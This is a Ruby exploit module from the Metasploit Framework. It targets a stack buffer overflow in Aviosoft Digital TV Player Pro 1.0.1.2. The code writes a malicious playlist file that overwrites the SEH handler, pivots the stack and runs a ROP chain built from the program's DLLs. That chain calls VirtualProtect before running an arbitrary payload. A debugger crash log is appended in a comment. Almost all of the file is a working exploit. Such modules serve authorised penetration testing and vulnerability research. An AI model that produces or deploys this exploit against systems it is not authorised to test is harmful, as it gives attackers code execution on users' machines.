metasploit-framework/modules/exploits/windows/fileformat/aviosoft_plf_buf.rb

144 lines
4.7 KiB
Ruby

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::FILEFORMAT
def initialize(info={})
super(update_info(info,
'Name' => "Aviosoft Digital TV Player Professional 1.0 Stack Buffer Overflow",
'Description' => %q{
This module exploits a vulnerability found in Aviosoft Digital TV Player
Pro version 1.x. An overflow occurs when the process copies the content of a
playlist file on to the stack, which may result aribitrary code execution under
the context of the user.
},
'License' => MSF_LICENSE,
'Author' =>
[
'modpr0be', #Initial discovery, poc
'sinn3r', #Metasploit
],
'References' =>
[
['OSVDB', '77043'],
['URL', 'http://www.exploit-db.com/exploits/18096/'],
],
'Payload' =>
{
'BadChars' => "\x00\x0a\x1a",
'StackAdjustment' => -3500,
},
'DefaultOptions' =>
{
'ExitFunction' => "seh",
},
'Platform' => 'win',
'Targets' =>
[
[
'Aviosoft DTV Player 1.0.1.2',
{
'Ret' => 0x6130534a, #Stack pivot (ADD ESP,800; RET)
'Offset' => 612, #Offset to SEH
'Max' => 5000 #Max buffer size
}
],
],
'Privileged' => false,
'DisclosureDate' => "Nov 9 2011",
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [false, 'The playlist name', 'msf.plf'])
], self.class)
end
def junk(n=1)
return [rand_text_alpha(4).unpack("L")[0]] * n
end
def nops(rop=false, n=1)
return rop ? [0x61326003] * n : [0x90909090] * n
end
def exploit
rop = [
nops(true, 10), #ROP NOP
0x6405347a, #POP EDX # RETN (MediaPlayerCtrl.dll)
0x10011108, #ptr to &VirtualProtect
0x64010503, #PUSH EDX # POP EAX # POP ESI # RETN (MediaPlayerCtrl.dll)
junk,
0x6160949f, #MOV ECX,DWORD PTR DS:[EDX] # POP ESI (EPG.dll)
junk(3),
0x61604218, #PUSH ECX # ADD AL,5F # XOR EAX,EAX # POP ESI # RETN 0C (EPG.dll)
junk(3),
0x6403d1a6, #POP EBP # RETN (MediaPlayerCtrl.dll)
junk(3),
0x60333560, #& push esp # ret 0c (Configuration.dll)
0x61323EA8, #POP EAX # RETN (DTVDeviceManager.dll)
0xA13977DF, #0x00000343-> ebx
0x640203fc, #ADD EAX,5EC68B64 # RETN (MediaPlayerCtrl.dll)
0x6163d37b, #PUSH EAX # ADD AL,5E # POP EBX # RETN (EPG.dll)
0x61626807, #XOR EAX,EAX # RETN (EPG.dll)
0x640203fc, #ADD EAX,5EC68B64 # RETN (MediaPlayerCtrl.dll)
0x6405347a, #POP EDX # RETN (MediaPlayerCtrl.dll)
0xA13974DC, #0x00000040-> edx
0x613107fb, #ADD EDX,EAX # MOV EAX,EDX # RETN (DTVDeviceManager.dll)
0x60326803, #POP ECX # RETN (Configuration.dll)
0x60350340, #&Writable location
0x61329e07, #POP EDI # RETN (DTVDeviceManager.dll)
nops(true), #ROP NOP
0x60340178, #POP EAX # RETN
nops, #Regular NOPs
0x60322e02 #PUSH # RETN
].flatten.pack("V*")
buf = ''
buf << rand_text_alpha(target['Offset']-buf.length)
buf << [target.ret].pack('V*')
buf << rand_text_alpha(136)
buf << rop
buf << make_nops(32)
buf << payload.encoded
buf << rand_text_alpha(target['Max']-buf.length)
file_create(buf)
end
end
=begin
eax=00001779 ebx=047a02c0 ecx=000001f4 edx=047a6814 esi=047a77bc edi=00130000
eip=6400f6f0 esp=0012f038 ebp=00000001 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
MediaPlayerCtrl!DllCreateObject+0x220:
6400f6f0 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
0:000> !exchain
0012f3bc: *** WARNING: Unable to verify checksum for C:\Program Files\Aviosoft\Aviosoft DTV Player Pro\DTVDeviceManager.dll
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Aviosoft\Aviosoft DTV Player Pro\DTVDeviceManager.dll -
DTVDeviceManager+534a (6130534a)
Invalid exception stack at 41414141
0:000> !address edi
00130000 : 00130000 - 00003000
Type 00040000 MEM_MAPPED
Protect 00000002 PAGE_READONLY
State 00001000 MEM_COMMIT
Usage RegionUsageIsVAD
0:000> !address esi
047a0000 : 047a0000 - 0000b000
Type 00020000 MEM_PRIVATE
Protect 00000004 PAGE_READWRITE
State 00001000 MEM_COMMIT
Usage RegionUsageHeap
Handle 013c0000
=end